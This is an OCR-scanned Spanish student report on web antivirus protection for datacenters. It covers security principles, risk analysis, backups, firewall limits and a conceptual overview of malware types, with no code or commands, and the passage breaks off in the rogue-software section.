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Seguridad en el DataCenter Antivirus Web

RESUMEN INTRODUCTORIO

Puesta en escena: cPor qué el Antivirus Web?

Hoy en dia todos tenemos algun que otro Antivirus activo en nuestros
ordenadores, Tablets, Smartphones...

Y esto nos protege relativamente de la mayoria de amenazas a nivel de
sistema, sobretodo de las clasicas vulnerabilidades, troyanos, gusanos,
virus, etc... Previamente documentados en las bases de datos de estos
Antivirus.

Las bases de la seguridad informatica han sido asentadas en 3 aspectos
que se han considerado importantes e imprescindibles a la hora de poder
afirmar que algo es “Seguro”.

Estas bases han sido la “Confidencialidad”, “Integridad”, vy
“Disponibilidad” para poder ofrecer cierta “Fiabilidad” y asi proceder a
afirmar que nuestro sistema es seguro.

Pero a dia de hoy la mayoria de amenazas han subido de nivel, dejando
de actuar principalmente en los sistemas fisicos y asi empezar a actuar
a nivel Web.

Los Antivirus actuales generalmente se centran en examinar el codigo X
que esta alojado en nuestro disco duro, buscando coincidencias con una
base de datos bien documentada de las amenazas existentes de las que
se tiene constancia, y reflejando las coincidentes en una lista de
amenazas encontradas para que el usuario posteriormente proceda a
actuar sobre estas, generalmente de tres maneras “Borrar”, “Reparar” o
“Cuarentena”.

Generalmente se procede a intentar repara el archivo infectado mediante
técnicas previamente validadas por el antivirus en casos previos, muchas
veces esto no es posible ya sea porque es nuevo, o porque aun no se
conoce la solucion.

Es el momento de plantearse si es importante para nosotros el archivo o
no, procediendo a bloquearlo en la cuarentena o borrandolo.Este tipo de
barrera de seguridad es muy buena para los comunes USB Pen Drive,
que nos prestaban y al conectarlos para copiarnos cierto archivo, como
la memoria USB estaba infectada, la amenaza se pasaba, trasladaba,
copiaba a nuestro sistema pretendiendo infectarlo.

3 — Resumen Introductorio
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Donde los riesgos podrian ser menores, a lo sumo perder toda la
informacion alojada en la memoria del ordenador.

Pero cuando estas amenazas trabajan a nivel Web, hablamos de casos
mucho mas preocupantes, dado que infectar una web es un medio
perfecto para acceder a millones de maquinas que se descargan cierto
archivo/imagen a la hora de cargar la web en sus navegadores.

Aparecen nuevas amenazas con la finalidad de obtener datos bancarios
o de tarjetas, ya sea por suplantacion de identidad o mediante otro
sistema de hackeo.

Es en este contexto en el que toma verdadera importancia el Antivirus a
nivel Web, y mas aun si consideramos que cada vez es mas rentable este
negocio para este tipo de delincuentes, dado que cada vez mas y mas
informacion es almacenada a nivel digital y por tanto almacenada en
DataCenters contratados donde impera la seguridad.

Puesta en escena: Finalidad del Catalogo de Amenazas

“

El catalogo sera una de las partes programadas por el alumno en su
totalidad.

Este catalogo pretende recuperar informacion previamente almacenada
sobre las amenazas web existentes y las mas utilizadas, para asi ayudar
a la persona encargada de combatir y eliminar las amenazas que no
puedan ser automaticamente detectadas y eliminadas.

Dado que a nivel web cada amenaza es distinta y “personalizada” es muy
dificil automatizar el proceso de Busqueda y Destruccion por lo que
habitualmente a pesar de que la deteccion y busqueda resulta
satisfactoria, un experto en seguridad debera de entrar a mirar el codigo
y buscar codigo malicioso, ya sea por vulnerabilidades de version,
vulnerabilidades a la hora de usar algunas funciones no recomendadas
o por codigo ofuscado y malintencionado.

Por lo que este catalogo Web con acceso a una Base de Datos privada y
propia, pretende ofrecer una ayuda teorica y practica a la hora de
informarse para proceder a la eliminacion de “X” tipo de amenaza en “Y”
ambito y “Z” entorno.

4 — Resumen Introductorio
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SEGURIDAD INFORMATICA

cQue es la Seguridad Informatica?

La seguridad informatica comprende software, hardware y todo lo
signifique un riesgo en caso de que la informacion se extraviara.

También se considera un area de la informatica como tal, enfocada en la
proteccion de la infraestructura computacional y todo lo que tenga algun
tipo de relacion con esta, especialmente lo que llamamos informacion
contenida.

Cabe destacar que a pesar de tener puntos comunes no tienen el mismo
significado los conceptos “Seguridad Informatica” y “Seguridad de la
Informacion”.

La seguridad informatica tiene como apartado y meta garantizar la
seguridad de la informacion, entre otros muchos objetivos.

Es la disciplina que se ocupa de disenar las normas, métodos y técnicas
destinadas a conseguir un sistema de informacion seguro y fiable.

Objetivos de la Seguridad Informatica

Debe establecer los horarios de funcionamiento, las restricciones,
autorizaciones o denegaciones a los usuarios en los accesos a la
informacion.

Disenar planes de emergencia y protocolos, permitiendo asi un buen nivel
de seguridad informatica lo que minimizara el impacto en el desempeno
de los trabajadores y de la organizacion en general.

Proteger los activos informaticos es la tarea mas importante y el foco de
la seguridad informatica.

Los activos informaticos los conforman la infraestructura computacional,
los usuarios y la informacion.

5 — Seguridad Informatica
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Activos Informaticos

La infraestructura Computacional

>

Parte fundamental para el almacenamiento y gestion de la
informacion, de igual modo lo es para el correcto funcionamiento
de la organizacion.

La seguridad informatica debera asegurar los equipos de tal
manera que funcionen adecuadamente y debera anticiparse a los
problemas, tales como fallos, robos, desastres naturales, o
cualquier otro factor que atente contra la infraestructura
computacional que hay que proteger.

Los usuarios

>

>

Personas que utilizan la estructura tecnologica de la organizacion
y gestionan la informacion dentro de esta.

La seguridad informatica en este caso debera proteger el sistema
en general para que el uso inadecuado, malintencionado o
irresponsable por parte de los usuarios no pueda afectar a la
seguridad de la informacion y ésta permanezca segura e inalterada.
Adicionalmente la informacion que manejan los usuarios o que
almacenan debe de ser asegurada para que no sea vulnerable.

La informacion

Y

Es el activo principal.

Se utiliza y se encuentra en la infraestructura computacional y es
utilizada por los usuarios.

Su proteccion debe de ser la prioridad principal en los objetivos a
nivel de seguridad de la organizacion.

Referencias Bibliograficas: [1]
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Causas de las Amenazas

A pesar de que hay infinidad de amenazas que atentan contra la
seguridad de la informacion cada dia, y que es imposible bloquear y
asegurar en su totalidad cada una de ellas, las causas principales pueden
bloquearse o al menos se pueden prever para intentar minimizar los
danos.

Las causas mas comunes son:

Usuarios

>

>

Son la mayor causa de problemas ligados a la seguridad de los
sistemas informaticos, sus acciones pueden llegar a causar graves
problemas de seguridad.

A pesar de que en la mayoria de los casos el motivo de estas
acciones es por tener permisos sobredimensionados, es decir, no
se les han restringido las acciones innecesarias o indebidas.

Programas Maliciosos

>

>

Son aquellos programas destinados a perjudicar o a hacer un uso
ilicito de los recursos del sistema.

Se instalan, ya sea por falta de atencion o maldad, en el ordenador
objetivo, abriendo una puerta a intrusos o bien modifican datos del
sistema, en algunos casos robando la informacion de este.

Estos programas tienen muchas variaciones y dependiendo de
estas y de sus caracteristicas o finalidad, son clasificados en un
grupo u otro, como lo son por ejemplo:

o Virus informatico, Gusano, Troyano, Spyware...
Generalmente y a pesar de la infinidad de tipos, caracteristicas y
finalidad de estos programas maliciosos, se les suele llamar virus,
pero su denominacion genérica correcta seria “Malware”.

7 — Seguridad Informatica
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Errores de Programacion

> En su mayoria, lo errores de programacion considerados dentro del
grupo de amenazas informaticas, es por motivo de explotacion de
terceros con finalidades ilegales o ilicitas.

> Estos errores pueden ser usados como exploits o puertas de
entrada para almacenar otro tipo de amenazas.

> La actualizacion correcta y programada de parches con la finalidad
de arreglar problemas previamente detectados tanto a nivel de
Sistema Operativo como de programas y aplicaciones es la medida
de seguridad mas eficiente y por ello recomendada para evitar este
tipo de amenazas.

Intrusos

> Son aquellas personas que consiguen acceder a los datos, o en su
defecto programas automatizados.
> Ninguno de los dos esta autorizado a leer, modificar, o copiar la
informacion.
> Hay muchos tipos, como pueden ser
e Crackers, defacers, hackers...

Siniestro

> Robos, incendios, inundaciones... Ya sea lo uno o lo otro, una mala
manipulacion deriva en la pérdida de material e informacion.

Personal Técnico Interno

> Los motivos mas comunes por los que un Técnico de Sistemas, o
un Administrador, etc... atenta contra la empresa, son:
e Despidos, Problemas laborales, Disputas internas,
Espionaje...

Fallos

> Ya sean de -caracter electronico o logicos de los sistemas
informaticos

Catastrofes Naturales

> Son las causas menos comunes, dependientes tanto de la zona de
residencia como de la época del ano, pueden llegar a generar las
mayores pérdidas econémicas si no se prevén, y pueden ser:
e Terremotos, Inundaciones, Tormentas...

Referencias Bibliograficas: [1]

8 — Seguridad Informaética

'/



Seguridad en el DataCenter Antivirus Web

Analisis de Riesgos

El analisis de riesgos informaticos es un proceso muy importante para
evitar problemas futuros, comprende la identificacion de activos
informaticos, sus vulnerabilidades y amenazas.

La probabilidad de que las amenaza en cuestion ocurra o aparezca, al
igual que el impacto de cada una de ellas por separado o en combinacion.

Con el fin de determinar exactamente los controles adecuados para en
caso de ocurrencia de estas, evitarlas en su totalidad, o en caso de no
poder, aceptarlas, disminuyendo el impacto de las mismas.

La necesidad de poder estimar la magnitud del impacto del riesgo a la
que una empresa se encuentra expuesta va ampliando cada dia.

Lo que es obvio dado que la explotacion de un riesgo no controlado
causaria danos o pérdidas financieras o administrativas a la empresa.

Para poder controlar estos riesgos son necesarios los controles de riesgos.

Si queremos que estos controles sean efectivos, deben ser implementados
en conjunto formando una arquitectura de seguridad.

Consiguiendo asi preservar las propiedades de Confidencialidad,
Integridad y Disponibilidad, de las que hablaremos mas abajo.

INFORMACION

Es el momento de hablar de un documento en el que se muestran los
elementos identificativos, la relacion entre estos y los calculos que se
realizan sobre estos.

Este documento se llama Matriz de Riesgo y es el documento obtenido
posteriormente a aplicar el proceso de analisis de riesgos previamente
mencionado.

Si pretendemos lograr una correcta administracion de los posibles riesgos
es absolutamente imprescindible este tipo de analisis.

Referencias Bibliograficas: [1]
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Analisis del Impacto al Negocio

Para un correcto establecimiento de prioridades, el sistema de gestion de
incidentes ha de saber el valor de diferentes sistemas de informacion que
posee la organizacion, para determinar cual de ellos es potencialmente
mas probable que sufra algin tipo de incidente de seguridad.

Es probable que alguien de dentro de la organizacion sea el encargado de
asignar un valor monetario o relativo a cada equipo, cada sistema y a
cada tipo de informacion.

Los valores para el sistema son:

> Confidencialidad de la informacion
> Integridad de las aplicaciones y de la informacion
> Disponibilidad del sistema

Cada uno de los valores previamente mencionados es un sistema
independiente del negocio.

Los incidentes individuales pueden variar en gran medida tanto a nivel
del alcance como al de importancia.

Referencias Bibliograficas: [1]

Respaldo de la informacion

La informacion es con diferencia el activo mas importante para las
empresas, y esta puede verse afectada por diversos factores que hemos
mencionado con anterioridad, tales como robos, incendios, ataques de
Malware...

Uno de los problemas mas importantes que quieren solucionar las
empresas, es proteger de manera correcta y permanente la informacion
critica.

10 — Seguridad Informatica
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Las copias de seguridad o Backups, son generalmente la medida mas
eficiente para proteger los datos, y se debe de establecer una buena
normativa y politica de copias de seguridad.

&

Debe de tener dos tipos de copias de seguridad:

> Completas
e La totalidad de los datos es almacenada por primera vez
> Incrementales
e Solo se copiara aquellos ficheros creados o modificados
desde la ultima copia de seguridad realizada

Es muy importante para las empresas el realizar bien y de manera regular
estas copias de seguridad, elaborando asi un plan de Backups que
dependera del volumen de la informacion generada y la cantidad de
equipos criticos.

Todo sistema de respaldo completo y seguro debe de contar con algunas
caracteristicas indispensables, como lo son:

> Continuo
e« Ha de ser transparente a los wusuarios y debe ser
completamente automatico y continuo.
> Seguro
e Previo al envio de informacion se han de cifrar los datos,
comunmente este paso de cifrado se realiza a nivel local.
> Remoto
e Los datos se guardaran en dependencias alejadas de la
empresa de tal manera que sean independientes
> Mantener versiones anteriores de los datos
o Recovery > Sistema de recuperacion de versiones anteriores,
ya sean diarias, semanales y/o mensuales de los datos.

Cabe destacar el hecho de que hoy en dia los sistemas de respaldo de
informacion online, estan aumentando respecto a otros modelos mas
clasicos, dada la independencia, seguridad y posibilidades que ofrecen.

La mayoria de estos sistemas tienen las maximas medidas de seguridad
y disponibilidad respecto a los datos. Estos sistemas son perfectos para
las empresas dado que asi pueden crecer en volumen de informacion
derivando la carga de las copias de seguridad al proveedor del servicio.

Referencias Bibliograficas: [1]

11 — Seguridad Informatica

'/



Seguridad en el DataCenter Antivirus Web

Tipos de Proteccion contra Virus

Si queremos evitar que los equipos y medios se infecten, tenemos que
tenerlos bajo una vigilancia estricta y constante.

Hay que destacar las medidas de proteccion siguientes por su variedad:

Control del Software instalado

Si tenemos instalado solamente el Software estrictamente necesario y de
procedencia conocida, reducira la probabilidad de aparicion de
amenazas.

Control de la red

Si establecemos un numero de acceso a recursos de red en modo lectura,
evitaremos y reduciremos la probabilidad de propagar las amenazas.

Reduciendo los permisos de los usuarios conseguimos un control
parecido.

Es importante centralizar, controlar y monitorizar el acceso a internet
para detectar asi en las fases de recuperacion de datos, exactamente
como y por donde se habia introducido la amenaza.

Técnica parecida al HoneyPot.

Proteccidon Fisica de acceso a la red

Redes Cableadas

> Los accesos fisicos deben de estar protegidos y vigilados.
> Evitando tener puntos de red conectados a Switches.
> Listas de control de los equipos autorizados por su MAC.

Redes Inalambricas

> Se deberan de controlar los cifrados, contrasenas compartidas...
> Medidas de contencion de la emision electromagnética para
excluirla donde no sea necesaria.

Sanitizacion

> Ya sea de caracter fisico/logico, se debera eliminar la informacion
considerada sensible o confidencial, de sus usos locales y
temporales.

Referencias Bibliograficas: [1]
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Principios de la Seguridad Informatica

Cuando hablamos de Seguridad Informatica, quiza la definicion que mas
rapido nos llega a la cabeza es la de los principios en los que se basa y
rige:

Confidencialidad

Hablamos de privacidad de la informacion almacenada.

El sistema ha de estar protegido mediante herramientas y estrategias
competentes para evitar invasiones y accesos por parte de personas o
programas no autorizados.

Este principio es especialmente importante en sistemas distribuidos,
dado que los usuarios, computadores y datos estan interconectados.

Integridad

Nos referimos a la validez y consistencia de la informacion almacenada y
procesada.

Todos los elementos del sistema posiblemente manipulan entre otros,
datos compartidos, y la integridad exige que los procesos de actualizacion
estén bien sincronizados y no se dupliquen para trabajar asi con los
mismos datos siempre.

Sobre todo en sistemas descentralizados la Integridad es realmente
importante dado que diferentes usuarios, computadores y procesos
comparten la misma informacion a todas horas.

13 — Seguridad Informaética

')



Seguridad en el DataCenter Antivirus Web

Disponibilidad

Mencionar Disponibilidad es hablar de continuidad de acceso a la
informacion almacenada

Se ha de enfocar en que el sistema sea permanente y por tanto este el
maximo tiempo posible disponible, y para asegurarlo haremos uso de
herramientas de seguridad informatica.

Sin importar las condiciones de actividad o sobrecarga de un sistema, los
usuarios han de poder acceder a este teniendo transparencia sobre la
carga del sistema, o sobre el mantenimiento que se esté realizando sobre
este.

Y asi se podra acceder a los datos con la frecuencia y la dedicacion que
se requieran, este principio es importante en sistemas informaticos cuyo
compromiso con el usuario, es prestar servicio permanente, comunmente
llamado 24/7.

14 — Seguridad Informatica
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DATACENTER

s0ué es el DataCenter?

Es un Centro de Procesamiento de Datos (CPD), es decir, un espacio o
lugar donde se concentran los recursos para procesar informacion de la
organizacion.

Dependiendo del tamano puede ser desde una sala de gran tamano hasta
un edificio.

Su tamano suele ser grande dado el equipo electronico que necesita,
tanto para la computacion de datos, como para mantenerse en asi.

Suele estar situado en una zona climatizada a baja temperatura,
comunmente llamada “Nevera”.

Una Nevera adecuada para el DataCenter ha de tener controlada la
temperatura, para evitar problemas y averias en los ordenadores y
equipos de computacion, que suelen presentar problemas en caso de
sobrecalentamiento.

La temperatura adecuada varia desde los 20 Grados hasta un maximo de
23 Grados, segun varios estudios de eficiencia energética.

Como es obvio, para mantener los equipos a pleno funcionamiento y
refrigerados a la temperatura adecuada, es necesaria una gran carga
energética, por lo que suelen tener por motivos de seguridad y
disponibilidad, equipo energético de repuesto con la finalidad de no parar
el servicio en caso de que haya algun tipo de fallo energético.

15 — DataCenter
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Estructura y Evolucion

Si retrocedemos a la vision y estructura de los primero DataCenters,
estos fueron disenados siguiendo arquitecturas clasicas de redes de
informatica, que consistia en apilar equipos informaticos en armarios.

Hoy en dia debido a la falta de espacio, algunas cosas han tenido que
cambiar, y ahora los equipos tienen dimensiones que permiten
aprovechar al maximo el volumen disponible de los racks, se les suele
llamar “Equipos Enracables”, asi se consigue en una misma unidad de
espacio mayor densidad de equipos que de la manera habitual.

La abrumadora evolucion de internet, y la necesidad de conectar estos
equipos ha obligado a que en las empresas se adopten niveles altos de
fiabilidad y de seguridad, con la finalidad de proteger los datos
almacenados en los DataCenters.

Pero a pesar de tenerlos asegurados se pretende poder tener acceso a
ellos y disponer de ellos sin interrupciones.

Por ello, dada la gran inversion economica que se necesita para el
correcto despliegue, ha ido apareciendo otro nivel de DataCenter llamado
Cloud DataCenter.

Es el mismo concepto pero aplicando la distancia entre el DataCenter y
la organizacion, lo que ademas aumenta la seguridad.

Actualmente existen empresas expertas en el sector del almacenamiento
web, o comunmente llamado Hosting, que proporcionan un servicio
profesional, encargandose tanto del mantenimiento como de la gestion de
los DataCenters.

Estas empresas por lo general suelen ofrecer un mayor nivel de fiabilidad
y seguridad, que tenerlo “apanado” en una esquina.

La gestion por parte de la empresa contratante de tal servicio se realiza a
través de un control web, llamado panel de control.
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Firewall Clasicos

sPor qué no sirven?

El elemento que mas publicidad ha tenido a nivel de seguridad para
nuestros equipos, han sido los Firewalls y Antivirus que los incluyen.

Los Firewalls estan disenados con la finalidad de proteger una red interna
contra los accesos no autorizados, este mecanismo se denomina
Gateway.

En caso de que los paquetes de informacion, los que pasan varias
inspecciones de seguridad, sean correctos y validados, pasaran por la
puerta teniendo acceso al sistema, y los que no seran rechazados.

Los Firewalls son sistemas ubicados entre dos redes que ejercen politicas
de seguridad previamente establecidas, encargados de proteger una red
fiable de la que no lo es, como lo es Internet.

Cuando hablamos de Firewall tenemos varios tipos, en los que no voy a
centrarme particularmente, dado que normalmente todo Firewall es una
mezcla de varias técnicas y tipos, y ya sea en menor o mayor medida
suele emplear todas de las que dispone.

Los tipos son:

Filtrado de Paquetes
Proxy-Gateways de Aplicaciones
Dual-Homed Host

Screened Host

Screened Subnet

Inspeccion de Paquetes

VVVVYVYY

El principal problema del Firewall, es que no defiende de ataques
provenientes del interior (Para eso tenemos Antivirus), ni puede ofrecer
proteccion una vez el intruso traspasa el Firewall.

Para este ultimo problema no hay solucion, excepto que el intruso se
quede a nivel local y el Antivirus se dé cuenta de ello.

17 — Firewalls Clasicos
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La ventaja de un Firewall generalmente reside en que es economico con
un alto nivel de utilidad y desempenio, y a su vez son practicamente
transparentes para los usuarios conectados a la red.

De igual modo tiene desventajas:
> No protege las capas superiores a nivel OSI.

> Las necesidades aplicativas son dificiles de traducir como filtros de
protocolos y puertos.

> No son capaces de esconder la topologia de redes privadas, por lo
que exponen la red al mundo exterior.

> No soportan politicas de seguridad complejas como autentificacion
de usuarios y control de accesos con horarios prefijados.

Como podemos observar de una manera bastante sencilla el problema de
un Firewall es poniendo un ejemplo:

Tenemos una aplicaciéon llamada Google Chrome, que es el navegador que
utilizamos, nuestro querido navegador intenta acceder a la red, pero el
Firewall pregunta sGoogle Chrome es de fiar? :iLe dejo acceder?, en ese
momento nosotros contestamos, j Si l... Y todo va fantdstico hasta que un
dia accedemos a una web de fotografias para ponernos un fondo de
pantalla chulo, la cual al cargarla se ejecuta un SCRIPT mediante el cual
se nos pregunta si queremos descargar el archivo fondo18237.png.

En ese momento no se nos ocurre... Porque es obvio que es una imagen en
formato PNG y que estamos en una pagina de descarga de fotos, por lo que
descargar fotos es lo mas normal del mundo, pero al abrirla se ejecuta un
SCRIPT oculto en la misma que da permisos e instala cierto tipo de
Software con finalidades ocultas, que suele ser malware.

Ese tipo de conexion no la regula un Firewall, y en caso de que en lugar
de un PC, el malware entra en un servidor con miles de webs, puede
afectar a todas ellas, infectandolas, mutando para no ser encontrado y
causando problemas alli por donde va.

Para bloquear y tener ejecutandose a tiempo real en cada servidor, un
Antivirus que compruebe cada archivo modificado, que compruebe cada
conexion, por ello se necesita un Antivirus Web.

La finalidad es tener un archivo introducido de incéognito que compruebe
cada conexion entrante que el Firewall no bloquea y que en caso de que
esa conexion descargue algun fichero, este Antivirus pueda eliminarlo
antes de que ocurra nada. Necesitamos un infiltrado.

Referencias Bibliograficas: [1]
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Malware Web

Definicion y Caracteristicas

Las amenazas web, mas conocidas como malware web, es la version del
malware de toda la vida, los virus, gusanos, etcétera.

Pero que pueden atacarte cuando utilices internet.

MALWARE viene de juntar las palabras MAL+iciois soft+WARE.

Este tipo de Software tiene como finalidad introducirse en el sistema o
maquina objetivo, y hacer dano sin el consentimiento de su propietario.

Es muy comun que la gente generalice y le llame a todo tipo de malware,
con la denominacion comun de “Virus”.

Pero pueden diferenciarse en una gran variedad de categorias.

Tipos de Malware

Malware Infeccioso

Este tipo de malware se identifica por tu particular tipo de propagacion.
Los dos mas conocidos de los que hablaremos son el Virus y el Gusano.
Virus

Suelen reemplazar archivos ejecutables con cierto tipo de finalidad como
instalar un programa benigno mediante el archivo setup.exe.

En lugar de ejecutar el codigo original del archivo, en su lugar ejecuta su
propio codigo, generalmente para poder ser ejecutado se requieren
permisos.

Pero el usuario al ser victima de un engano, dada la suplantacion de
identidad del archivo original, suele conceder los permisos requeridos.
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Y todo este proceso de activacion suele pasar desapercibido.

El codigo ejecutado se carga en la RAM del ordenador, y desde alli se
busca un sitio para almacenarse en el disco duro. Por ello al desinstalar
el programa que lo ha ejecutado, el Virus no se borra, dado que ya se ha
movido y ocultado.

Lo normal es que este empiece a buscar los controles de varios servicios
basicos del sistema operativo, infectandolos.

El nivel de peligrosidad, y el de impacto en consecuencia, se ve
determinado por la finalidad con la que haya sido programado.

Desde borrar archivos PNG, a mover las carpetas de sitio, o simplemente
ralentizar el ordenador, que es normalmente la situacion inicial desde la
cual los usuarios por norma general empiezan a pensar que algo se les
ha metido en el ordenador.

Dado que este no funciona como debiera.
Gusano

La principal diferencia respecto al Virus que hemos visto antes, es la
independencia de activacion, dado que el Gusano no requiere que sea el
usuario quien acciona y activa el malware, este se reproduce replicandose
por el sistema y transmitiéndose.

Utilizan partes del sistema invisibles para el usuario para almacenarse,
lo que complica en gran medida su deteccion.

Y el gran dilema viene cuando le sumamos a este amenaza tan particular,
la posibilidad de replicarse y enviarse, ademas de por discos, USB, etc...
Por Internet.

La propagacion deja de ser exclusivamente a nivel local, y empieza a ser
a nivel global.

Utilizan métodos como SMTP, IRC o el famoso P2P para pasar de un
ordenador a otro, hasta que llegan a algun servidor donde pueden saltar
a miles o millones en lugar de ser uno a uno.

Si esto lo aplicamos y suponemos un malware de este tipo afectando a
una pagina web o recurso online altamente solicitado, el efecto seria a
gran escala, llegando a ser devastador el dano que puede hacer.

Son el perfecto ejemplo de un malware que se detecta por ralentizar el
sistema, dado que se replica a si mismo por todas partes, sobrecargando
el sistema, la red, el disco, y la RAM.

Si tus tareas diarias se vuelven mas lentas, llegado a ser incapaces de
realizarse, posiblemente el malware que esta activado sea un gusano.
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Malware Oculto

Este tipo de malware se distingue por su facilidad y persistencia a la hora
de evitar ser detectado a toda costa, pasar desapercibidos e introducirse
sin ser avistados en el sistema.

Destacaremos algunos como BackDoor, Rootkits y Troyanos entre otros.

BackDoor
Se les suele llamar también “Puertas Traseras”.

En sison agujeros en la seguridad, provocados de una manera u otra por
el atacante, con la finalidad de sobrepasar la seguridad establecida.

Estas puertas traseras permiten el acceso a tu ordenador sin ser
detectado, una vez se cumple este propoésito, normalmente son otros tipos
de malware los que empiezan a provocar el caos.

Drive-By Downloads

Se suelen ubicar dentro de las webs o correos electronicos.

El funcionamiento es realmente simple de entender, lo primero, el hacker
coloca un SCRIPT ejecutable en la web, asi al entrar el usuario en la web,
el SCRIPT se descarga sin su consentimiento.

Posteriormente el SCRIPT empieza a enviar peticiones a un servidor
repleto de exploits, los que tienen como objetivo, encontrar las fallas y
debilidades del ordenador desde el cual el SCRIPT esta enviando.

Cuando esas debilidades sean encontradas, entrara en accion otro
malware, mucho mas especifico, creado para explotar la debilidad que
haya sido detectada, quedando asi el ordenador infectado.

Rootkits

En este caso hablamos de una amenaza que utiliza a otras para hacer
dano, como en muchas anteriores que ya hemos comentado, algunas son
simples puertas para dejar a otras actuar, en este caso, hablamos de un
panel de control, muchas veces muy complejo y encriptado.

Son paneles de control que permiten realizar una infinidad de acciones,
de una forma mucho mas rapida y comoda.
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En lugar de escribir, mandar y ejecutar el SCRIPT, se presiona un boton
que esta enlazado a ejecutar la orden previamente preparada, dado que
los archivos necesarios ya habran sido cargados en el sistema.

Normalmente estos sistemas son instalados a sistemas donde se tiene
acceso ROOT (Administrador), de tal manera que puedas realizar
cualquier accion sin que el Sistema Operativo te de problemas.

Otra motivo del porque previamente se ha de tener acceso ROOT, es por
el hecho de que al tener acceso de Administrador puedes realizar acciones
de manera oculta, consiguiendo que los procesos que inicias, no
aparezcan en la lista de procesos, lo que hace realmente dificil poder
detectarlos.

Troyanos

Su nombre proviene del famoso caballo de Troya, a causa de que su
funcionamiento y finalidad son idénticos.

Son aquellos programas, archivos, ya sean adjuntado en un correo o
pasados por USB, que a simple vista y juicio del usuario son
absolutamente normales y fiables, pareciendo inofensivos, pero al llegar
a tu ordenador, montan la fiesta.

Abren una puerta trasera (BackDoor) por lo general.

Es otro malware que es un puente que da acceso a otros tipos de ataques
con finalidades de robo de informacion o de destrucciéon de archivos.

Referencias Bibliograficas: [4]
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Malware para Obtener Beneficios

El malware ha evolucionado mucho en los ultimos anos, pasando desde
finalidades como bromas o travesuras, hasta hoy en dia que llegan a
generar beneficios, ya sea por robo de informacion o por interceptacion
de informacion bancaria.

En base al enfoque que la mayoria utilizan los podemos clasificar en:

Mostrar Publicidad

Spyware

Software disenado con la finalidad de recolectar informacion de tu
ordenador y de tus operaciones con este, y enviar esta informacion a otra
persona.

Pueden ser usados tanto para conseguir informacion y usarla en tu
contra, como para averiguar informacion y mejorar campanas
publicitarias.

Este tipo de malware puede estar tanto en correos electréonicos como en
las cookies de las webs.

La manera de identificar su actuacion suele ser la genérica, es decir,
observar que tu ordenador va mas lento de lo normal, dado que el
malware consume recursos y puedes notar su ausencia.

Adware

El malware publicitario por excelencia, su mision se resume en las
palabras “Publicidad Intrusiva”.

Mediante elementos emergentes. pop-ups... De manera constante y sin
descanso, muestra publicidad intrusiva, llegando a hacer imposible la
navegacion en algunos casos.

No es necesario ser atacado para sufrir este tipo de malware, muchos
productos comprados los llevan incorporados e incluidos en la descarga.

Y si aceptas en las condiciones de instalacion o descarga (Shareware),
acabas infectado con este tipo de malware.

No se considera un malware de caracter danino, sino molesto.
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Hijacking

Cuando hablamos de este malware estamos hablando de secuestro.

Su finalidad es robar o aduenarse de algo de manera ilicita, afectando a
la victima.

Generalmente recaudan informacion a través del router o modem.

Dado que todos los paquetes de datos son leidos por este malware,
pueden obtener la IP, sesiones del navegador, paginas de inicio,
contrasenas...

Robar Informacion Personal

Keyloggers

Un Keylogger puede ser tanto software como hardware instalado sin
permiso con acceso a la red.

Recopilar las teclas pulsadas del teclado, para poder posteriormente leer
todo lo que se haya escrito, y con la finalidad de obtener contrasenas,
conversaciones, o datos de importancia que hayan sido escritos por el
teclado.

Este tipo de malware suele tener como finalidad obtener contrasenas,
generalmente las de las cuentas bancarias, en operaciones rutinarias
como lo es el ver el saldo de tu cuenta bancaria por la web.

Hay empresas que ya han tomado medidas para bloquear este tipo de
intrusiones, como ejemplo vamos a destacar “Bankia”.

Cuando accedemos a Bankia, tendremos que teclear con el teclado
nuestro DNI = NNNNNNNNL el cual se podria obtener mediante el
Keylogger, pero a la hora de introducir la contrasena tenemos dos
posibilidades.

La primera es mediante el raton seleccionar los numeros. Por lo que al
no escribirlos con el teclado, el hacker no podria tener acceso a ellos.

La segunda es introducirlos por teclado, pero no directamente, hay una
tabla con valores, de tal manera que si quieres meter un 4 y en la tabla
pone 4 = W, tendriamos que pulsar la tecla del teclado “W” para poder
escribir un 4.

Aunque el Hacker recibiera nuestros datos, solo podria ver el DNI y una
contrasena numeérica de 4 digitos como esta: KWTZ.

La que es imposible de desencriptar excepto que se tenga acceso a la
tabla de correspondencias que se utilizé en el momento de introducirla,
la cual cambia constantemente en cada acceso.
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Stealer

Es el complemento perfecto para el Keylogger, dado que realiza funciones
que el anterior no puede.

En lugar de esperar al usuario y al teclado, este malware recorre todo el
ordenador en busca de contrasenas almacenadas, al igual que el
navegador con sus campos de auto rellenado guardados, y sus
contrasenas guardadas.

Una vez las obtiene, procede a descifrarlas.

En el momento en el que las tiene ya descifradas, las envia al hacker,
dejando al usuario totalmente a merced de este.

Realizar llamadas telefonicas

Dialer

Es un malware un tanto extinto, debido a que antiguamente se utilizaban
los modem “dial-up” que compartian senal con el teléfono fijo.

El funcionamiento de un Dialer se resume en dos pasos.

Primero, toman el control de un modem, y por ultimo realizan llamada a
teléfonos con tarificacion especial, al extranjero...

Desde la aparicion del ADSL este tipo de malware ha ido decayendo en
su aparicion y los problemas que plantea.

Ataques Distribuidos

Botnets

Un bot es algo asi como un Zombi de una pelicula, s6lo que tiene un
dueno, por ello un Bot es algo como un ordenador esclavizado que sigue
las ordenes que le han pautado, formando parte de una red de bots.

Esta red conforma un ejército de bots. Y se ha creado infectando a
muchos ordenadores en distintos momentos.

Cuando el hacker o dueno de los Zombis Bots, esta listo para atacar, lo
primero es dejar de aumentar el numero de bots de la botnet.

Lo segundo es enviar Spam para atacar webs mediante el conocido
DDOS.

Adicionalmente cabe mencionar que el malware de los ordenadores se

puede actualizar de manera remota, automatica, sencilla y oculta, dado
que el hacker permanece en el anonimato.
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Extorsion y Amenazas

Rogue Software

En si no es un malware.
Es un modelo de negocio que hemos sufrido todos.

Un software de este tipo procede a enganarte, haciendo uso del efecto
placebo de la persona que va a ser victima del engano, para
posteriormente cobrarte por una solucion falsa.

La mejor manera de verlo, es con un ejemplo tipico:

Te levantas temprano un dia que tienes que trabajar en el despacho, y
conectas el ordenador para trabajar, al arrancarlo te metes en tu web
favorita de noticias.

Una vez dentro, te recomiendan instalarte un Antivirus gratuito que te
avisa de si hay algun tipo de problemas...

En ese momento tu piensas:
“Si es gratuito, total, no me hara dario probarlo y asi me aseguro”

En ese momento te lo descargas, este hace un falso andlisis, y te dice que
ha encontrado 27 virus, de los cuales hay 5 que son stuper peligrosos, y te
recomienda actualizar a la version PRO del Antivirus para repararlos.

Tu en ese momento, salvo que seas desconfiado, te asustas, piensas que
vas a perder todo tu trabajo, que vas a ser victima de amenazas Yy
